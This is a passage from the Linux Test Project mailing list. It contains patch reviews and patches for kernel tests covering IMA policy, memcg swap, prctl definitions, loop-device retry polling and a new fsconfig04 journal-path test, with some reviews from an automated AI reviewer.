> +            with open(source, encoding="utf-8") as data:
> +                metadata = json.load(data)
> +    except FileNotFoundError:
> +        print(
> +            f"error: metadata file '{source}' not found "
> +            "(run 'make' in metadata/ first)",
> +            file=sys.stderr,
> +        )
> +        return 1
> +    except json.JSONDecodeError as err:
> +        print(f"error: failed to parse '{source}': {err}", file=sys.stderr)
> +        return 1
> +
> +    tests: Dict[str, Dict[str, Any]] = extract_tests(metadata)
> +    errors: List[str] = lint_tests(tests, args.check_cve_online)

What I had in mind for make check is that there would be a single test
mode "-t" switch and we would skip the extract_tests and passed the JSON
right to lint_tests()

./metaparse foo.c | lint.py -t


The assertions looks good to me.

-- 
Cyril Hrubis
chrubis@suse.cz

From chrubis@suse.cz  Mon Aug  3 15:13:31 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Mon, 3 Aug 2026 15:13:31 +0200
Subject: [LTP] lib: Rename function check_kver() => check_min_kver()
In-Reply-To: <6a6c9716.b7086f8d.c2a23.334f@mx.google.com>
References: <20260731122009.GA196217@pevik>
 <6a6c9716.b7086f8d.c2a23.334f@mx.google.com>
Message-ID: <anCT-2ttAe0Qz0M3@yuki.lan>

Hi!
> > @Cyril @Andrea could you also please double check?
> 
> It's correct.
> 
> The legacy ETXTBSY behavior was fully restored in commit
> 3b832035387f (Revert "fs: don't block i_writecount during exec").

Isn't this a case where we should just fail if the revert wasn't
backported?

-- 
Cyril Hrubis
chrubis@suse.cz

From chrubis@suse.cz  Mon Aug  3 15:15:51 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Mon, 3 Aug 2026 15:15:51 +0200
Subject: [LTP] [PATCH v2 1/1] MAINTAINERS: Add IRC and patchwork for LTP
In-Reply-To: <20260803115821.238704-1-pvorel@suse.cz>
References: <20260803115821.238704-1-pvorel@suse.cz>
Message-ID: <anCUh5TOGEqXez0M@yuki.lan>

Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

From pvorel@suse.cz  Mon Aug  3 15:19:42 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 3 Aug 2026 15:19:42 +0200
Subject: [LTP] ima_setup.sh: Fix check_policy_writable() for kernel < 4.5
In-Reply-To: <7279643f66b2ea6d6888716f7923363c2f59b6eb.camel@linux.ibm.com>
References: <20260728114224.1055009-1-pvorel@suse.cz>
 <20260728125815.4069-1-linuxtestproject.agent@gmail.com>
 <20260728133556.GA1128467@pevik>
 <7279643f66b2ea6d6888716f7923363c2f59b6eb.camel@linux.ibm.com>
Message-ID: <20260803131942.GB246496@pevik>

Hi Mimi,

first, thanks for your feedback!

> On Tue, 2026-07-28 at 15:35 +0200, Petr Vorel wrote:
> > Hi Mimi,

> > once you have time, I'd appreciate your comments. Thanks!

> > > Hi Petr,

> > > On Tue, Jul 28, 2026 at 01:42:24PM +0200, Petr Vorel wrote:
> > > > ima_setup.sh: Fix check_policy_writable() for kernel < 4.5

> > > > -	# workaround for kernels < v4.18 without fix
> > > > +
> > > > +	# Workaround for kernels < v4.18 without fix
> > > >  	# ffb122de9a60b ("ima: Reflect correct permissions for policy")
> > > > -	echo "" 2> log > $IMA_POLICY
> > > > -	grep -q "Device or resource busy" log && return 1
> > > > +	# Require >= 4.5 to write multiple times via CONFIG_IMA_WRITE_POLICY
> > > > +	# 38d859f991f3 ("IMA: policy can now be updated multiple times")

> > > Is CONFIG_IMA_WRITE_POLICY really the reason for the 4.5 boundary here?

> Yes


> > > On >= 4.5 ima_release_policy() runs ima_check_policy(), which returns
> > > -EINVAL when ima_temp_rules is empty. The empty write therefore sets
> > > valid_policy = 0, ima_delete_rules() is called and IMA_FS_BUSY is
> > > cleared, so the probe stays non-destructive even when
> > > CONFIG_IMA_WRITE_POLICY=n.

> > Well, CONFIG_IMA_WRITE_POLICY did not exist in kernel < 4.5 (not sure if that's
> > obvious from the comment I added).

> Perhaps prefix the commit message with something like:

> IMA allows the builtin policy to be replaced with a custom policy just once. 
> Support for appending additional policy rules to the custom policy
> (CONFIG_IMA_WRITE_POLICY) was subsequently added in linux 4.5. Refer to commit 
> 38d859f991f3 ("IMA: policy can now be updated multiple times").

+1

> > > What makes < 4.5 different is the absence of ima_check_policy(): there
> > Yes, that's true that ima_check_policy() was added in v4.5.

> Agreed.

> > > the empty write is committed and securityfs_remove() drops the policy
> > > file. Would it be clearer to state that, and to keep the v4.18
> > > permission workaround in a separate paragraph, since the two comments
> > > describe unrelated things?

> > > > +	if tst_kvcmp -ge 4.5; then
> > > > +		echo "" 2> log > $IMA_POLICY
> > > > +		grep -q "Device or resource busy" log && return 1
> > > > +	fi
> > > >  	return 0

> > > With this, require_policy_writable() no longer TCONFs on < 4.5, so
> > > ima_policy.sh test2 ("verify that policy file is not opened concurrently
> > > and able to loaded multiple times") now runs there.

> > Hm, maybe test2() does not really makes sense to run on < v4.5. But test1()
> > certainly does. And echo "" > $IMA_POLICY really disables policy in v4.4,
> > likely due one of these from v4.5-rc1:
> > * 38d859f991f3 ("IMA: policy can now be updated multiple times")
> > * 0112721df4ed ("IMA: policy can be updated zero times")
> > @Mimi WDYT?

> Writing an invalid policy resulted in never being able to transition from a
> builtin policy to a custom policy, similar to writing an empty policy. Commit
> 0112721df4ed ("IMA: policy can be updated zero times") addressed the invalid
> policy case.

Thanks for the explanation.

> > > On those kernels one loader gets -EBUSY at open, the other succeeds and
> > > the policy file is then removed on release. That hits

> > > 	elif [ $rc1 -eq 0 ] || [ $rc2 -eq 0 ]; then
> > > 		tst_res TPASS "policy was loaded just by one process and able to loaded multiple times"

> > > so the test reports that the policy can be loaded multiple times while
> > > only the concurrency half of the assertion was exercised, and loading
> > > twice is not possible before 4.5.
> > That sounds correct and should be fixed.

> Correct, IMA originally permitted transitioning from a builtin policy to a
> custom policy.  Support for extending the custom IMA policy was added in 4.5.

Do you agree that test2 in ima_policy.sh should be skipped on kernel < 4.5? If
you consider useful running the test also on these old kernels I could just
correct the commit message for older kernel or simply ignore that fact (just add
a comment to the test that it's irrelevant for < 4.5. (I know 4.4 is not
supported any more, in fact it's just for SLES and possibly other LTS distros
still supporting this old kernel, but I still appreciate your opinion.)

> Mimi


> > > Should test2 report TCONF (or split the two assertions) when
> > > CONFIG_IMA_WRITE_POLICY is not available?

FYI we could sooner or later start using kernel config (e.g. look into
CONFIG_IMA_WRITE_POLICY and CONFIG_IMA_READ_POLICY as many LTP tests and now
even LTP library require kernel config (we resisted long time add kernel config
as a hard dependency, but finally Cyril added support in 2018).

But more important for me would be to migrate LTP IMA tests to shell loader [1]
or even rewrite to C API. We have deprecated tst_test.sh API some time ago.

Kind regards,
Petr

[1] https://linux-test-project.readthedocs.io/en/latest/developers/api_shell_tests.html

> > With requiring test2 to be run on kernel >= v4.5 (I'll add it to v2) everything
> > should work even with this patch (unmodified behavior on >= v4.5, avoid write
> > policy on < 4.5 when doing the check for ima_policy.sh test1 and for other IMA
> > tests).

> > > Verdict - Needs revision

From andrea.cervesato@suse.com  Mon Aug  3 15:38:37 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 03 Aug 2026 13:38:37 +0000
Subject: [LTP] memcg/functional: fix memcg_failcnt intermittent timeout
 by disabling swap
In-Reply-To: <20260731024600.3976-1-linuxtestproject.agent@gmail.com>
Message-ID: <6a7099dd.c69142e7.53fee.7114@mx.google.com>

Hi Xuewen,

> > memcg/functional: fix memcg_failcnt intermittent timeout by disabling swap
> 
> > +	swapoff -a 2>/dev/null
> > +
> >  	start_memcg_process $2 -s ${MEMORY_TO_ALLOCATE}
> 
> The 2>/dev/null here hides errors from the very command that implements
> the fix. If swapoff fails, or the command is not present, swap stays
> enabled and the intermittent timeout this patch targets can recur, now
> without any diagnostic to explain it.
> 
> memcg_limit_in_bytes.sh, cited as the model for this change, runs
> swapoff -a and swapon -a without redirecting stderr. Would dropping the
> redirect (at least on swapoff) be preferable, so a failure to disable
> swap remains visible?

This is correct. If swapoff fails, we can't understand why.

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From pvorel@suse.cz  Mon Aug  3 15:42:35 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 3 Aug 2026 15:42:35 +0200
Subject: [LTP] lib: Rename function check_kver() => check_min_kver()
In-Reply-To: <anCT-2ttAe0Qz0M3@yuki.lan>
References: <20260731122009.GA196217@pevik>
 <6a6c9716.b7086f8d.c2a23.334f@mx.google.com>
 <anCT-2ttAe0Qz0M3@yuki.lan>
Message-ID: <20260803134235.GA249083@pevik>

Hi all,

> Hi!
> > > @Cyril @Andrea could you also please double check?

> > It's correct.

> > The legacy ETXTBSY behavior was fully restored in commit
> > 3b832035387f (Revert "fs: don't block i_writecount during exec").

> Isn't this a case where we should just fail if the revert wasn't
> backported?

Probably yes. Also 3b832035387f is from 6.13. And I see it backported at least
on 6.12.2 as 13111945c242 [1].

BTW AI asked for enabling it on 7.2, I'm not sure why.

Anyway, we might not need the case > .max_kver || < .min_kver now, but it might
be needed later. But I'd not implement it until really needed.

Kind regards,
Petr

[1] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=v6.12.101&id=13111945c2420c2e352867ec96bb70c13ef37df9

From chrubis@suse.cz  Mon Aug  3 16:27:10 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Mon, 3 Aug 2026 16:27:10 +0200
Subject: [LTP] [PATCH v10] connect03: New test case for EPROTOTYPE and
 EACCES errors
In-Reply-To: <20260710051323.26430-1-wegao@suse.com>
References: <20260706234000.23719-1-wegao@suse.com>
 <20260710051323.26430-1-wegao@suse.com>
Message-ID: <anClPvkIWLZF07fz@yuki.lan>

Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

From linuxtestproject.agent@gmail.com  Mon Aug  3 16:38:24 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon,  3 Aug 2026 14:38:24 +0000
Subject: [LTP] lapi/prctl: add more fallback definitions
In-Reply-To: <20260803-cve-ghostlock-v3-1-cde83fa429b7@suse.com>
References: <20260803-cve-ghostlock-v3-1-cde83fa429b7@suse.com>
Message-ID: <20260803143824.9095-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Mon, 3 Aug 2026, Andrea Cervesato wrote:
> lapi/prctl: add more fallback definitions

--- [PATCH 1/2] ---

> +#ifndef PR_SET_MM_MAP
> +# define PR_SET_MM_MAP	14
> +#endif
> +#ifndef PR_SET_MM_MAP_SIZE
> +# define PR_SET_MM_MAP_SIZE	15
> +#endif
> +
> +#if !(HAVE_STRUCT_PRCTL_MM_MAP) && !defined(PR_SET_MM_MAP)

Could this struct guard depend only on HAVE_STRUCT_PRCTL_MM_MAP?

PR_SET_MM_MAP is defined immediately above, so !defined(PR_SET_MM_MAP) is
always false here. Systems missing struct prctl_mm_map therefore skip the
fallback even when HAVE_STRUCT_PRCTL_MM_MAP is false, and the second patch
cannot compile there.

--- [PATCH 2/2] ---

> +	SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP_SIZE, (unsigned long)&sz, 0, 0);

Could this test set .min_kver = "3.18", or report TCONF when this operation
is unavailable?

PR_SET_MM_MAP_SIZE was added in Linux 3.18, while
CONFIG_CHECKPOINT_RESTORE predates it. A 3.5 through 3.17 kernel with that
configuration reaches setup(), rejects this operation, and SAFE_PRCTL()
reports TBROK for an unsupported reproducer feature.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From chrubis@suse.cz  Mon Aug  3 17:02:52 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Mon, 3 Aug 2026 17:02:52 +0200
Subject: [LTP] [PATCH v2] landlock08: add UDP bind/connect test variants
In-Reply-To: <20260701-landlock_udp-v2-1-b1a2c71be093@suse.com>
References: <20260701-landlock_udp-v2-1-b1a2c71be093@suse.com>
Message-ID: <anCtnERDFPu_SzMP@yuki.lan>

Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

From wakel@google.com  Mon Aug  3 17:27:54 2026
From: wakel@google.com (Wake Liu)
Date: Mon,  3 Aug 2026 15:27:54 +0000
Subject: [LTP] [PATCH] lib: Use exponential-backoff polling to wait for loop
 device nodes
Message-ID: <20260803152754.3991113-1-wakel@google.com>

On systems where loop device node creation is asynchronous (such as Android
containers or systems with slow udev startup), calling stat() or open()
immediately after LOOP_CTL_GET_FREE can transiently fail because the
device file (e.g. /dev/loopX) has not been fully populated in time.

Introduce an exponential-backoff retry loop in both
tst_find_free_loopdev() and tst_attach_device() (starting at 1ms delay,
doubling each try, capped at 100ms) to wait for the device node to be
successfully populated.

This improves the robustness of loop device allocations on asynchronous
virtualized environments while minimizing unnecessary delays on responsive
systems.

Signed-off-by: Wake Liu <wakel@google.com>
---
 lib/tst_device.c | 29 +++++++++++++++++++++++++----
 1 file changed, 25 insertions(+), 4 deletions(-)

diff --git a/lib/tst_device.c b/lib/tst_device.c
index 744173ffef..6e3c6fef21 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -82,7 +82,7 @@ static int set_dev_path(char *dev, char *path, size_t path_len)
 
 int tst_find_free_loopdev(char *path, size_t path_len)
 {
-	int ctl_fd, dev_fd, rc, i;
+	int ctl_fd, dev_fd, rc, i, path_set;
 	struct loop_info loopinfo;
 	char buf[PATH_MAX];
 
@@ -93,8 +93,20 @@ int tst_find_free_loopdev(char *path, size_t path_len)
 		rc = ioctl(ctl_fd, LOOP_CTL_GET_FREE);
 		close(ctl_fd);
 		if (rc >= 0) {
-			if (path && set_dev_loop_path(rc, path, path_len))
-				tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			if (path) {
+				unsigned int usec = 1000; /* start with 1ms */
+
+				for (i = 0; i < 50; i++) {
+					path_set = set_dev_loop_path(rc, path, path_len);
+					if (!path_set)
+						break;
+					usleep(usec);
+					if (usec < 100000) /* cap backoff at 100ms */
+						usec *= 2;
+				}
+				if (path_set)
+					tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			}
 			tst_resm(TINFO, "Found free device %d '%s'",
 				rc, path ?: "");
 			return rc;
@@ -155,13 +167,22 @@ int tst_attach_device(const char *dev, const char *file)
 {
 	int dev_fd, file_fd;
 	struct loop_info loopinfo;
+	int attach_tries = 20;
+	unsigned int usec = 1000; /* start with 1ms */
 
 	if (strlen(file) >= LO_NAME_SIZE) {
 		tst_brkm(TBROK, NULL, "Device name can't be longer than %u chars",
 			 LO_NAME_SIZE);
 	}
 
-	dev_fd = open(dev, O_RDWR);
+	while (attach_tries--) {
+		dev_fd = open(dev, O_RDWR);
+		if (dev_fd >= 0)
+			break;
+		usleep(usec);
+		if (usec < 100000) /* cap backoff at 100ms */
+			usec *= 2;
+	}
 	if (dev_fd < 0) {
 		tst_resm(TWARN | TERRNO, "open('%s', O_RDWR) failed", dev);
 		return 1;
-- 
2.55.0.508.g3f0d502094-goog


From linuxtestproject.agent@gmail.com  Mon Aug  3 18:28:05 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon,  3 Aug 2026 16:28:05 +0000
Subject: [LTP] lib: Use exponential-backoff polling to wait for loop
 device nodes
In-Reply-To: <20260803152754.3991113-1-wakel@google.com>
References: <20260803152754.3991113-1-wakel@google.com>
Message-ID: <20260803162805.9412-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On Aug 3, 2026, Wake Liu wrote:
> lib: Use exponential-backoff polling to wait for loop device nodes

> 					usleep(usec);
> 					if (usec < 100000) /* cap backoff at 100ms */
> 						usec *= 2;

Could this clamp the doubled value to 100000 and only sleep when another
attempt remains? When usec is 64000, this condition doubles it to 128000, so
the advertised 100 ms cap is exceeded. The loops also sleep after the final
failed probe. As a result, the 50-attempt stat path can sleep for 5.631
seconds and the 20-attempt open path for 1.791 seconds.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From wegao@suse.com  Tue Aug  4 03:04:28 2026
From: wegao@suse.com (Wei Gao)
Date: Tue,  4 Aug 2026 01:04:28 +0000
Subject: [LTP] [PATCH v12] fsconfig04: Check FSCONFIG_SET_PATH
In-Reply-To: <20260803021230.14530-1-wegao@suse.com>
References: <20260803021230.14530-1-wegao@suse.com>
Message-ID: <20260804010439.15195-1-wegao@suse.com>

The fsconfig01.c does not test if FSCONFIG_SET_PATH has any effect;
most of the calls there just set a dummy "sync" parameter. This test
case aims to verify if the FSCONFIG_SET_PATH operation can be used
to dynamically change the external journal device of an ext3 or ext4
filesystem.

Closes: https://github.com/linux-test-project/ltp/issues/1169
Signed-off-by: Wei Gao <wegao@suse.com>
---
v11-v12:
- Use :manpage: roles for fsopen(2) and fsconfig(2).
- Use reStructuredText double backticks for inline literals.

 runtest/syscalls                              |   1 +
 testcases/kernel/syscalls/fsconfig/.gitignore |   1 +
 .../kernel/syscalls/fsconfig/fsconfig04.c     | 184 ++++++++++++++++++
 3 files changed, 186 insertions(+)
 create mode 100644 testcases/kernel/syscalls/fsconfig/fsconfig04.c

diff --git a/runtest/syscalls b/runtest/syscalls
index 65fb4d1ce..13bb59cde 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -437,6 +437,7 @@ fremovexattr02 fremovexattr02
 fsconfig01 fsconfig01
 fsconfig02 fsconfig02
 fsconfig03 fsconfig03
+fsconfig04 fsconfig04
 
 fsmount01 fsmount01
 fsmount02 fsmount02
diff --git a/testcases/kernel/syscalls/fsconfig/.gitignore b/testcases/kernel/syscalls/fsconfig/.gitignore
index cfedae5f7..bd3754c34 100644
--- a/testcases/kernel/syscalls/fsconfig/.gitignore
+++ b/testcases/kernel/syscalls/fsconfig/.gitignore
@@ -1,3 +1,4 @@
 /fsconfig01
 /fsconfig02
 /fsconfig03
+/fsconfig04
diff --git a/testcases/kernel/syscalls/fsconfig/fsconfig04.c b/testcases/kernel/syscalls/fsconfig/fsconfig04.c
new file mode 100644
index 000000000..6bf5bbc18
--- /dev/null
+++ b/testcases/kernel/syscalls/fsconfig/fsconfig04.c
@@ -0,0 +1,184 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Wei Gao <wegao@suse.com>
+ */
+
+/*\
+ * This test aims to validate :manpage:`fsconfig(2)` with the
+ * ``FSCONFIG_SET_PATH`` operation in dynamically altering the external
+ * journal device of an ext3 or ext4 filesystem.
+ *
+ * Root privileges are required because the test creates and formats loop
+ * devices, and configures filesystems.
+ *
+ * [Algorithm]
+ *
+ * - Acquire three loop devices (``dev0`` from framework, ``dev1``, ``dev2``).
+ * - Format ``dev1`` and ``dev2`` as external journal devices with the same UUID
+ *   (``-O journal_dev -U <uuid>``).
+ * - Format ``dev0`` three times to cycle journal associations:
+ *   ``dev1`` -> ``dev2`` -> ``dev1``, so both journal superblocks are consistent.
+ * - Open ``dev0`` via :manpage:`fsopen(2)` and set the source and journal_path using
+ *   :manpage:`fsconfig(2)` (``FSCONFIG_SET_STRING``) and
+ *   :manpage:`fsconfig(2)` (``FSCONFIG_SET_PATH``).
+ * - Apply ``FSCONFIG_CMD_CREATE`` and verify with ``tune2fs`` that ``dev0``'s
+ *   journal device is now ``dev2``.
+ *
+ * Implementation notes:
+ *
+ * - To avoid ``journal UUID does not match`` error when switching external
+ *   journal device, we have to assign the same UUID to ``dev1``/``dev2``.
+ * - Before the :manpage:`fsconfig(2)` test, we have to format ``dev0`` associating to
+ *   ``dev1`` -> ``dev2`` -> ``dev1``. This ensures that both ``dev1``/``dev2`` superblocks contain
+ *   correct content. Otherwise, you will encounter errors such as
+ *   ``EXT4-fs (loop0): External journal has more than one user (unsupported)``
+ *   when switching the external journal device using :manpage:`fsconfig(2)`.
+ */
+
+#include "tst_test.h"
+#include "tst_safe_stdio.h"
+#include "lapi/fsmount.h"
+
+#define MNTPOINT	"mntpoint"
+#define LOOP_DEV_SIZE 10
+#define UUID "d73c9e5e-97e4-4a9c-b17e-75a931b02660"
+
+static int fd = -1;
+static char dev0[PATH_MAX];
+static char dev1[PATH_MAX];
+static char dev2[PATH_MAX];
+
+static void cleanup(void)
+{
+	if (fd != -1)
+		SAFE_CLOSE(fd);
+
+	if (dev1[0])
+		tst_detach_device(dev1);
+
+	if (dev2[0])
+		tst_detach_device(dev2);
+}
+
+static void create_and_attach_loopdev(const char *filename, char *dev_path, size_t dev_path_len)
+{
+	if (tst_prealloc_file(filename, 1024 * 1024, LOOP_DEV_SIZE))
+		tst_brk(TBROK, "Failed to create %s", filename);
+
+	if (tst_find_free_loopdev(dev_path, dev_path_len) == -1)
+		tst_brk(TBROK, "No free loop device found for %s", filename);
+
+	if (tst_attach_device(dev_path, filename))
+		tst_brk(TBROK, "Failed to attach %s to %s", filename, dev_path);
+}
+
+static void setup(void)
+{
+	fsopen_supported_by_kernel();
+
+	strcpy(dev0, tst_device->dev);
+
+	create_and_attach_loopdev("dev1_file", dev1, sizeof(dev1));
+	create_and_attach_loopdev("dev2_file", dev2, sizeof(dev2));
+
+	const char *const *mkfs_opts_set_UUID;
+	const char *const *mkfs_opts_set_journal_dev1;
+	const char *const *mkfs_opts_set_journal_dev2;
+
+	mkfs_opts_set_UUID = (const char *const []) {"-F", "-U", UUID,
+		"-O", "journal_dev", NULL};
+
+	char device_option_dev1[PATH_MAX + 16];
+	char device_option_dev2[PATH_MAX + 16];
+
+	snprintf(device_option_dev1, sizeof(device_option_dev1), "device=%s", dev1);
+	snprintf(device_option_dev2, sizeof(device_option_dev2), "device=%s", dev2);
+
+	mkfs_opts_set_journal_dev1 = (const char *const []) {"-F", "-J",
+		device_option_dev1, NULL};
+
+	mkfs_opts_set_journal_dev2 = (const char *const []) {"-F", "-J",
+		device_option_dev2, NULL};
+
+	SAFE_MKFS(dev1, tst_device->fs_type, mkfs_opts_set_UUID, NULL);
+	SAFE_MKFS(dev2, tst_device->fs_type, mkfs_opts_set_UUID, NULL);
+	SAFE_MKFS(dev0, tst_device->fs_type, mkfs_opts_set_journal_dev1, NULL);
+	SAFE_MKFS(dev0, tst_device->fs_type, mkfs_opts_set_journal_dev2, NULL);
+	SAFE_MKFS(dev0, tst_device->fs_type, mkfs_opts_set_journal_dev1, NULL);
+}
+
+static void run(void)
+{
+	TEST(fd = fsopen(tst_device->fs_type, 0));
+	if (fd == -1)
+		tst_brk(TBROK | TTERRNO, "fsopen() failed");
+
+	TEST(fsconfig(fd, FSCONFIG_SET_STRING, "source", dev0, 0));
+	if (TST_RET == -1)
+		tst_brk(TBROK | TTERRNO, "fsconfig(FSCONFIG_SET_STRING) failed");
+
+	TEST(fsconfig(fd, FSCONFIG_SET_PATH, "journal_path", dev2, 0));
+	if (TST_RET == -1) {
+		if (TST_ERR == EOPNOTSUPP)
+			tst_brk(TCONF, "fsconfig(FSCONFIG_SET_PATH) not supported");
+		else
+			tst_brk(TFAIL | TTERRNO, "fsconfig(FSCONFIG_SET_PATH) failed");
+	}
+
+	TEST(fsconfig(fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0));
+	if (TST_RET == -1)
+		tst_brk(TFAIL | TTERRNO, "fsconfig(FSCONFIG_CMD_CREATE) failed");
+
+	char loop_name[NAME_MAX];
+	char path[PATH_MAX + 32];
+	char device_str[NAME_MAX];
+	unsigned int major, minor, device_num;
+	unsigned int found = 0;
+
+	SAFE_SSCANF(dev2, "/dev/%s", loop_name);
+
+	snprintf(path, sizeof(path), "/sys/block/%s/dev", loop_name);
+	SAFE_FILE_SCANF(path, "%u:%u", &major, &minor);
+	device_num = (minor & 0xff) | (major << 8) | ((minor & ~0xff) << 12);
+	snprintf(device_str, sizeof(device_str), "0x%04x", device_num);
+
+	char line[PATH_MAX];
+	FILE *tune2fs;
+
+	snprintf(path, sizeof(path), "tune2fs -l %s 2>&1", dev0);
+	tune2fs = SAFE_POPEN(path, "r");
+
+	while (fgets(line, PATH_MAX, tune2fs)) {
+		if (*line && strstr(line, "Journal device:") && strstr(line, device_str)) {
+			found = 1;
+			break;
+		}
+	}
+
+	if (found == 1)
+		tst_res(TPASS, "Device found in journal");
+	else
+		tst_res(TFAIL, "Device not found in journal");
+
+	pclose(tune2fs);
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.needs_device = 1,
+	.mntpoint = MNTPOINT,
+	.needs_cmds = (struct tst_cmd []) {
+		{.cmd = "tune2fs"},
+		{}
+	},
+	.filesystems = (struct tst_fs []) {
+		{.type = "ext3"},
+		{.type = "ext4"},
+		{}
+	},
+};
-- 
2.54.0


From wakel@google.com  Tue Aug  4 03:59:05 2026
From: wakel@google.com (Wake Liu)
Date: Tue,  4 Aug 2026 01:59:05 +0000
Subject: [LTP] [PATCH v2] lib: Use backoff polling to wait for loop device
 nodes
In-Reply-To: <20260803152754.3991113-1-wakel@google.com>
References: <20260803152754.3991113-1-wakel@google.com>
Message-ID: <20260804015905.74573-1-wakel@google.com>

From: Wake Liu via ltp <ltp@lists.linux.it>

On systems where loop device node creation is asynchronous (such as Android
containers or systems with slow udev startup), calling stat() or open()
immediately after LOOP_CTL_GET_FREE can transiently fail because the
device file (e.g. /dev/loopX) has not been fully populated in time.

Introduce an exponential-backoff retry loop in both
tst_find_free_loopdev() and tst_attach_device() (starting at 1ms delay,
doubling each try, capped at 100ms) to wait for the device node to be
successfully populated.

This improves the robustness of loop device allocations on asynchronous
virtualized environments while minimizing unnecessary delays on responsive
systems.

Link: https://lore.kernel.org/ltp/20260803152754.3991113-1-wakel@google.com/
Signed-off-by: Wake Liu <wakel@google.com>
---
v1 -> v2:
 - Strictly clamp backoff delay to 100ms (prevent overflow exceeding cap).
 - Skip usleep on final loop iteration to avoid unnecessary idle delay.
 - Reduce max attempts to 30 (stat) and 15 (open) to bound worst-case timeout.

 lib/tst_device.c | 32 +++++++++++++++++++++++++++-----

diff --git a/lib/tst_device.c b/lib/tst_device.c
index 744173ffef..19e1a8a25c 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -82,7 +82,7 @@ static int set_dev_loop_path(int rc, char *path, size_t path_len)
 
 int tst_find_free_loopdev(char *path, size_t path_len)
 {
-	int ctl_fd, dev_fd, rc, i;
+	int ctl_fd, dev_fd, rc, i, path_set;
 	struct loop_info loopinfo;
 	char buf[PATH_MAX];
 
@@ -94,8 +94,18 @@ int tst_find_free_loopdev(char *path, size_t path_len)
 		if (rc >= 0) {
 			if (path) {
-				if (set_dev_loop_path(rc, path, path_len))
-					tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+				unsigned int usec = 1000; /* start with 1ms */
+
+				for (i = 0; i < 30; i++) {
+					path_set = set_dev_loop_path(rc, path, path_len);
+					if (!path_set)
+						break;
+					if (i < 29) {
+						usleep(usec);
+						usec = usec * 2 < 100000 ? usec * 2 : 100000;
+					}
+				}
+				if (path_set)
+					tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
 			}
 			tst_resm(TINFO, "Found free device %d '%s'",
 				rc, path ?: "");
@@ -166,9 +176,8 @@ int tst_find_free_loopdev(char *path, size_t path_len)
 
 int tst_attach_device(const char *dev, const char *file)
 {
-	int dev_fd, file_fd;
-	struct loop_info loopinfo;
-	int attach_tries = 20;
+	int dev_fd, file_fd, i;
+	struct loop_info loopinfo;
 	unsigned int usec = 1000; /* start with 1ms */
 
 	if (strlen(file) >= LO_NAME_SIZE) {
@@ -175,13 +184,14 @@ int tst_attach_device(const char *dev, const char *file)
 			 LO_NAME_SIZE);
 	}
 
-	while (attach_tries--) {
+	for (i = 0; i < 15; i++) {
 		dev_fd = open(dev, O_RDWR);
 		if (dev_fd >= 0)
 			break;
-		usleep(usec);
-		if (usec < 100000) /* cap backoff at 100ms */
-			usec *= 2;
+		if (i < 14) {
+			usleep(usec);
+			usec = usec * 2 < 100000 ? usec * 2 : 100000;
+		}
 	}
 	if (dev_fd < 0) {
 		tst_resm(TWARN | TERRNO, "open('%s', O_RDWR) failed", dev);

From linuxtestproject.agent@gmail.com  Tue Aug  4 06:17:51 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Tue,  4 Aug 2026 04:17:51 +0000
Subject: [LTP] fsconfig04: Check FSCONFIG_SET_PATH
In-Reply-To: <20260804010439.15195-1-wegao@suse.com>
References: <20260804010439.15195-1-wegao@suse.com>
Message-ID: <20260804041751.8871-1-linuxtestproject.agent@gmail.com>

Hi Wei,

On Aug 4, 2026, Wei Gao wrote:
> fsconfig04: Check FSCONFIG_SET_PATH

> +	TEST(fsconfig(fd, FSCONFIG_SET_PATH, "journal_path", dev2, 0));
> +	if (TST_RET == -1) {
> +		if (TST_ERR == EOPNOTSUPP)
> +			tst_brk(TCONF, "fsconfig(FSCONFIG_SET_PATH) not supported");
> +		else
> +			tst_brk(TFAIL | TTERRNO, "fsconfig(FSCONFIG_SET_PATH) failed");
> +	}

Could this test be gated with .min_kver = "7.2"?

Before Linux 7.2, ext4 declared journal_path as a string parameter, so
FSCONFIG_SET_PATH is rejected with EINVAL rather than EOPNOTSUPP. Since
fsopen_supported_by_kernel() only gates fsopen at Linux 5.2, those kernels
reach the else branch and report TFAIL instead of TCONF.

> +	SAFE_SSCANF(dev2, "/dev/%s", loop_name);
> +
> +	snprintf(path, sizeof(path), "/sys/block/%s/dev", loop_name);
> +	SAFE_FILE_SCANF(path, "%u:%u", &major, &minor);

